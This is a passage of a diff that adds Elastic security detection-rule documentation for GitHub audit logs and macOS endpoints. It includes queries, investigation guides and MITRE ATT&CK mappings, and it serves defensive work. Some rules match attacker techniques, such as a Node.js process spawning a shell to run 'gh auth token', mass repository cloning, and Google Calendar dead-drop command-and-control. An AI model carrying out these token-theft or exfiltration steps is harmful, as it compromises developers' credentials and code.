malicious package or compromised CI/CD pipeline attempts to inject persistent backdoor workflows into a repository. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Tactic: Execution +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GitHub Actions Workflow Modification Blocked* + + +This rule detects attempts to push workflow files to a GitHub repository from within a GitHub Actions workflow that are blocked by GitHub's security controls. This is a key indicator of supply chain attacks where malicious code attempts to establish persistence by injecting backdoor workflows. + + +*Possible investigation steps* + + +- Review the `github.repo` field to identify which repository was targeted. +- Examine the `github.actor_id` to determine if the action was triggered by a bot (`github-actions[bot]`) or a user account (PAT-based). +- Check recent workflow runs in the repository for suspicious activity, especially in jobs that run `npm install` or other package manager commands. +- Review the repository's dependencies for recently added or updated packages that may contain malicious preinstall/postinstall hooks. +- Examine the `github.reasons.message` field for details on which workflow file was being created or modified. +- Search for other repositories in the organization that may have the same malicious dependency. +- Review GitHub audit logs for successful workflow file modifications that may have occurred before protections were enabled. + + +*False positive analysis* + + +- Legitimate automation tools that manage workflow files may trigger this alert. Verify if the repository uses tools like Dependabot, Renovate, or custom automation that modifies workflows. +- CI/CD pipelines that intentionally update workflow files should use a PAT with the 'workflows' scope and be documented. + + +*Response and remediation* + + +- If this is a confirmed attack attempt, immediately audit all dependencies in the affected repository. +- Remove any suspicious packages and regenerate lock files. +- Rotate any secrets that may have been exposed during the CI run. +- Review and revoke any PATs that may have been compromised. +- Enable branch protection rules requiring pull request reviews for workflow file changes. +- Consider implementing CODEOWNERS for `.github/workflows/` directory. +- Search for indicators of compromise such as unexpected workflow files (e.g., `discussion_*.yaml`, `formatter_*.yml`). + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + data_stream.dataset == "github.audit" and + event.action == "protected_branch.rejected_ref_update" and + github.category == "protected_branch" and + github.reasons.code == "workflow_updates" and + match(github.reasons.message::STRING, "refusing to allow a GitHub App to create or update workflow") +| keep * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Dependencies and Development Tools +** ID: T1195.001 +** Reference URL: https://attack.mitre.org/techniques/T1195/001/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-activity-on-a-private-repository-from-an-unusual-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-activity-on-a-private-repository-from-an-unusual-ip.asciidoc new file mode 100644 index 0000000000..30104392ce --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-activity-on-a-private-repository-from-an-unusual-ip.asciidoc @@ -0,0 +1,101 @@ +[[prebuilt-rule-8-19-20-github-activity-on-a-private-repository-from-an-unusual-ip]] +=== Github Activity on a Private Repository from an Unusual IP + +Detects when there is activity on a private GitHub repository from an unusual IP address. Adversaries may access private repositories from unfamiliar IPs to exfiltrate sensitive code or data, potentially indicating a compromise or unauthorized access. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Impact +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"github.audit" and event.action:("git.push" or "git.clone") and github.repository_public:false + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Code Repositories +** ID: T1213.003 +** Reference URL: https://attack.mitre.org/techniques/T1213/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-app-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-app-deleted.asciidoc new file mode 100644 index 0000000000..514d4ae1c1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-app-deleted.asciidoc @@ -0,0 +1,120 @@ +[[prebuilt-rule-8-19-20-github-app-deleted]] +=== GitHub App Deleted + +Detects the deletion of a GitHub app either from a repo or an organization. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 208 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub App Deleted* + + +GitHub Apps are integrations that extend GitHub's functionality, often used to automate workflows or manage repositories. Adversaries might delete these apps to disrupt operations or remove security controls. The detection rule monitors audit logs for app deletions, flagging potential unauthorized actions. By focusing on specific event types and categories, it helps identify suspicious deletions that could indicate malicious activity. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event type "deletion" within the "integration_installation" category to identify the exact GitHub app that was deleted. +- Determine the user or account responsible for the deletion by examining the associated user information in the audit logs. +- Check the timing of the deletion event to see if it coincides with any other suspicious activities or anomalies in the repository or organization. +- Investigate the role and permissions of the user who performed the deletion to assess if they had legitimate access and authorization to delete the app. +- Look into the history of the deleted GitHub app to understand its purpose, usage, and any dependencies it might have had within the organization or repository. +- Communicate with the team or organization members to verify if the deletion was intentional and authorized, or if it was unexpected and potentially malicious. + + +*False positive analysis* + + +- Routine maintenance or updates by authorized personnel can trigger app deletions. Verify with the team responsible for GitHub app management to confirm if the deletion was planned. +- Automated scripts or tools used for managing GitHub apps might inadvertently delete apps during updates or reconfigurations. Review the scripts and ensure they have proper safeguards to prevent accidental deletions. +- Organizational policy changes might lead to the removal of certain apps. Check if there have been recent policy updates that could explain the deletion. +- Exclude specific users or service accounts known to perform legitimate app deletions regularly by creating exceptions in the detection rule. +- Monitor for patterns of deletions that align with scheduled maintenance windows and adjust the rule to ignore these timeframes if they consistently result in false positives. + + +*Response and remediation* + + +- Immediately revoke any compromised credentials or tokens associated with the deleted GitHub app to prevent unauthorized access. +- Restore the deleted GitHub app from a backup or re-install it to ensure continuity of operations and security controls. +- Conduct a thorough review of recent changes and activities in the affected repositories or organization to identify any unauthorized actions or data alterations. +- Notify the security team and relevant stakeholders about the incident to ensure awareness and coordinated response efforts. +- Implement additional monitoring on the affected repositories or organization to detect any further suspicious activities or attempts to delete apps. +- Review and tighten permissions for GitHub apps to ensure only authorized personnel have the ability to delete or modify app installations. +- Escalate the incident to higher-level security management if there is evidence of a broader compromise or if the deletion is part of a larger attack campaign. + +==== Rule query + + +[source, js] +---------------------------------- +configuration where event.dataset == "github.audit" and github.category == "integration_installation" and event.type == "deletion" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-authentication-token-access-via-node-js.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-authentication-token-access-via-node-js.asciidoc new file mode 100644 index 0000000000..c7ec7054c6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-authentication-token-access-via-node-js.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-20-github-authentication-token-access-via-node-js]] +=== GitHub Authentication Token Access via Node.js + +This rule detects when the Node.js runtime spawns a shell to execute the GitHub CLI (gh) command to retrieve a GitHub authentication token. The GitHub CLI is a command-line tool that allows users to interact with GitHub from the terminal. The "gh auth token" command is used to retrieve an authentication token for GitHub, which can be used to authenticate API requests and perform actions on behalf of the user. Adversaries may use this technique to access GitHub repositories and potentially exfiltrate sensitive information or perform malicious actions. This activity was observed in the wild as part of the Shai-Hulud worm. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Discovery +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2", "exec_event") and process.parent.name == "node" and +process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "gh auth token" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-exfiltration-via-high-number-of-repository-clones-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-exfiltration-via-high-number-of-repository-clones-by-user.asciidoc new file mode 100644 index 0000000000..5007a5ebb6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-exfiltration-via-high-number-of-repository-clones-by-user.asciidoc @@ -0,0 +1,144 @@ +[[prebuilt-rule-8-19-20-github-exfiltration-via-high-number-of-repository-clones-by-user]] +=== GitHub Exfiltration via High Number of Repository Clones by User + +Detects a high number of repository cloning actions by a single user within a short time frame. Adversaries may clone multiple repositories to exfiltrate sensitive data. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://trigger.dev/blog/shai-hulud-postmortem +* https://posthog.com/blog/nov-24-shai-hulud-attack-post-mortem + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Tactic: Exfiltration +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Exfiltration via High Number of Repository Clones by User* + + +This rule flags a single user rapidly cloning dozens of repositories, a strong indicator of bulk source code exfiltration. Mass cloning enables quick siphoning of proprietary code, embedded secrets, and build artifacts across teams before defenses can respond. A typical pattern is a stolen personal access token used in a script to enumerate org repositories and clone them in rapid succession from a CI runner or cloud VM, including private and internal repos, to stage data for off-platform transfer. + + +*Possible investigation steps* + + +- Validate whether the actor is a known automation or service account with a documented need to mass-clone, and quickly confirm intent with the account owner and affected repo admins. +- Enumerate the cloned repositories and their visibility, deprioritizing activity dominated by public repos while fast-tracking private/internal codebases with sensitive content across orgs. +- Pivot on the token identifier to determine the token owner, scopes, and creation/last-use details, compare to normal usage patterns, and revoke/reset credentials if anomalous. +- Analyze the user agent and agent identifier to attribute the activity to a specific host or CI runner, correlating with pipeline logs and login locations/times for anomalies. +- Correlate with endpoint/network telemetry from the originating host for large outbound transfers, external Git remotes, or bulk archiving indicating off-platform exfiltration following the clones. + + +*False positive analysis* + + +- A developer rebuilding a workstation or creating an approved local mirror may legitimately clone dozens of repositories in a short window, especially when activity is dominated by public or low-sensitivity repos. +- A shared automation/service account running scheduled builds or org-wide maintenance tasks can trigger fresh clones across many repositories due to pipeline configuration or cache resets, inflating counts without exfiltration intent. + + +*Response and remediation* + + +- Immediately revoke the GitHub token used for the clones, force sign out, require password reset and 2FA re-verification for the user, and suspend the account if unauthorized. +- Block and quarantine the originating host or CI runner by revoking its runner registration, removing its SSH keys/credentials, and firewalling its IP until imaged. +- On the cloned private/internal repositories, remove the user from teams, rotate or disable deploy keys and GitHub App installations, and enforce SAML SSO. +- Rotate repository and organization secrets present in those repos (Actions secrets, PATs, SSH keys, cloud access keys) and invalidate any secrets found in commit history. +- Recover by restoring only minimal access after owner approval, issuing a new fine-grained PAT with least privilege and expiry, and re-enabling builds while monitoring for further clone bursts. +- Escalate to incident response leadership and Legal if any private or export-controlled repos were cloned or cloning continues post-revocation, and harden by enforcing org-wide SSO, disallowing classic PATs, IP allowlisting for PAT use, enabling secret scanning with push protection, and alerting on burst git clone patterns from runners and unusual user agents. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + data_stream.dataset == "github.audit" and event.type == "change" and event.action == "git.clone" +| stats + Esql.event_count = COUNT(*), + Esql.github_org_values = values(github.org), + Esql.github_repo_values = values(github.repo), + Esql.github_repository_public_values = values(github.repository_public), + Esql.github_token_id_values = values(github.token_id), + Esql.github_user_agent_values = values(github.user_agent), + Esql.user_name_values = values(user.name), + Esql.agent_id_values = values(agent.id), + Esql.event_dataset_values = values(event.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by user.name + +| keep Esql.* + +| where + Esql.event_count >= 25 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Automated Exfiltration +** ID: T1020 +** Reference URL: https://attack.mitre.org/techniques/T1020/ +* Technique: +** Name: Exfiltration Over Web Service +** ID: T1567 +** Reference URL: https://attack.mitre.org/techniques/T1567/ +* Sub-technique: +** Name: Exfiltration to Code Repository +** ID: T1567.001 +** Reference URL: https://attack.mitre.org/techniques/T1567/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ +* Sub-technique: +** Name: Code Repositories +** ID: T1213.003 +** Reference URL: https://attack.mitre.org/techniques/T1213/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-owner-role-granted-to-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-owner-role-granted-to-user.asciidoc new file mode 100644 index 0000000000..fb9f9c34a5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-github-owner-role-granted-to-user.asciidoc @@ -0,0 +1,123 @@ +[[prebuilt-rule-8-19-20-github-owner-role-granted-to-user]] +=== GitHub Owner Role Granted To User + +This rule detects when a member is granted the organization owner role of a GitHub organization. This role provides admin level privileges. Any new owner role should be investigated to determine its validity. Unauthorized owner roles could indicate compromise within your organization and provide unlimited access to data and settings. + +*Rule type*: eql + +*Rule indices*: + +* logs-github.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Use Case: Threat Detection +* Use Case: UEBA +* Tactic: Persistence +* Data Source: Github +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating GitHub Owner Role Granted To User* + + +In GitHub organizations, the owner role grants comprehensive administrative privileges, enabling full control over repositories, settings, and data. Adversaries may exploit this by elevating privileges to maintain persistence or exfiltrate data. The detection rule monitors audit logs for changes in member roles to 'admin', signaling potential unauthorized access or privilege escalation attempts, thus aiding in early threat identification. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event where the member's role was changed to 'admin' to identify the user who made the change and the user who received the new role. +- Verify the legitimacy of the role change by contacting the user who was granted the owner role and the user who performed the action to confirm if the change was authorized. +- Check the organization's recent activity logs for any unusual or suspicious actions performed by the user who was granted the owner role, such as changes to repository settings or data access. +- Investigate any recent changes in the organization's membership or permissions that could indicate a broader compromise or unauthorized access. +- Assess the potential impact of the role change by identifying sensitive repositories or data that the new owner role could access, and determine if any data exfiltration or unauthorized changes have occurred. + + +*False positive analysis* + + +- Role changes due to organizational restructuring or legitimate promotions can trigger alerts. Regularly update the list of expected role changes to minimize unnecessary alerts. +- Automated scripts or integrations that manage user roles might inadvertently trigger the rule. Identify and whitelist these scripts to prevent false positives. +- Temporary role assignments for project-specific tasks can be mistaken for unauthorized access. Implement a process to document and pre-approve such temporary changes. +- Changes made by trusted administrators during routine audits or maintenance may be flagged. Maintain a log of scheduled maintenance activities to cross-reference with alerts. +- Onboarding processes that involve granting admin roles to new employees can generate alerts. Ensure that onboarding procedures are documented and known exceptions are configured in the detection system. + + +*Response and remediation* + + +- Immediately revoke the owner role from the user account identified in the alert to prevent further unauthorized access or changes. +- Conduct a thorough review of recent activities performed by the user with the elevated privileges to identify any unauthorized changes or data access. +- Reset the credentials and enforce multi-factor authentication for the affected user account to secure it against further compromise. +- Notify the security team and relevant stakeholders about the potential breach and involve them in the investigation and remediation process. +- Review and update access control policies to ensure that owner roles are granted only through a formal approval process and are regularly audited. +- Implement additional monitoring and alerting for changes to high-privilege roles within the organization to detect similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +iam where event.dataset == "github.audit" and event.action == "org.update_member" and github.permission == "admin" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-calendar-c2-via-script-interpreter.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-calendar-c2-via-script-interpreter.asciidoc new file mode 100644 index 0000000000..957360da4e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-calendar-c2-via-script-interpreter.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-google-calendar-c2-via-script-interpreter]] +=== Google Calendar C2 via Script Interpreter + +Detects a two-stage Google Calendar C2 pattern where a scripting runtime (Node.js, Python, osascript) first connects to calendar.app.google to retrieve a hidden C2 address, then initiates a secondary connection to the decoded C2 host. This sequence is characteristic of packages using Unicode steganography in Google Calendar events to stage dynamic command-and-control endpoints. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.veracode.com/resources/sophisticated-npm-attack-leveraging-unicode-steganography-and-google-calendar-c2 +* https://www.koi.ai/blog/glassworm-first-self-propagating-worm-using-invisible-code-hits-openvsx-marketplace + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Google Calendar C2 via Script Interpreter* + + +Threat actors increasingly abuse legitimate cloud services to establish covert command and control channels that blend with normal traffic and bypass traditional network security controls. Google Calendar has been weaponized as a C2 mechanism where attackers store encoded commands in calendar event descriptions, which malware then polls and executes. This detection rule identifies script interpreters connecting to Google Calendar API endpoints, which may indicate this living-off-the-land technique. + + +*Possible investigation steps* + + +- Review the process.name and process.executable fields to identify which script interpreter is making the Google Calendar API connection and assess whether it is expected for the user or application context. +- Examine the process.command_line and process.args fields to understand what script or code is being executed that initiated the calendar connection. +- Check the process.parent.executable and process.parent.command_line to trace the process lineage and identify how the script interpreter was launched. +- Investigate the Google Workspace audit logs for the associated user account to review calendar events that may contain encoded commands or suspicious content. +- Review network connection details including dns.question.name and destination.ip to understand the specific Google API endpoints being accessed. +- Correlate with authentication events to identify which user account or service account OAuth tokens are being used for the calendar access. +- Search for similar activity across other endpoints to determine if this is an isolated incident or part of a broader campaign. + + +*False positive analysis* + + +- Legitimate productivity applications may integrate with Google Calendar for scheduling and automation purposes. Verify the application's purpose and whether it is approved by IT. +- Custom automation scripts built by employees may access Google Calendar API for workflow automation. Review with the script owner to confirm legitimacy. +- Development and testing environments may trigger this detection when building calendar integrations. Document known development activities and create targeted exceptions. +- Third-party calendar sync applications may use script interpreters to interface with Google Calendar. Verify these are sanctioned applications. + + +*Response and remediation* + + +- Immediately terminate the suspicious script interpreter process to stop any ongoing C2 communication. +- Revoke OAuth tokens and API credentials associated with the compromised Google account to prevent further unauthorized access. +- Review Google Workspace admin console for any unauthorized calendar events or modifications that may contain malicious content. +- Isolate the affected macOS system from the network while conducting forensic analysis. +- Perform a comprehensive scan for additional malware, persistence mechanisms, or lateral movement indicators. +- Reset the affected user's credentials and enable multi-factor authentication if not already in place. +- Implement application allowlisting to prevent unauthorized script interpreters from executing. +- Escalate to the security operations team for further investigation into potential data exfiltration or broader compromise. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=20s + [network where host.os.type == "macos" and event.type == "start" and + (process.name in ("node", "osascript") or process.name like "python*" or + process.code_signature.trusted == false or process.code_signature.exists == false) and + destination.domain like "calendar.app.google*"] + [network where host.os.type == "macos" and event.type == "start" and destination.domain == null] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Web Service +** ID: T1102 +** Reference URL: https://attack.mitre.org/techniques/T1102/ +* Sub-technique: +** Name: Dead Drop Resolver +** ID: T1102.001 +** Reference URL: https://attack.mitre.org/techniques/T1102/001/ +* Sub-technique: +** Name: Bidirectional Communication +** ID: T1102.002 +** Reference URL: https://attack.mitre.org/techniques/T1102/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: 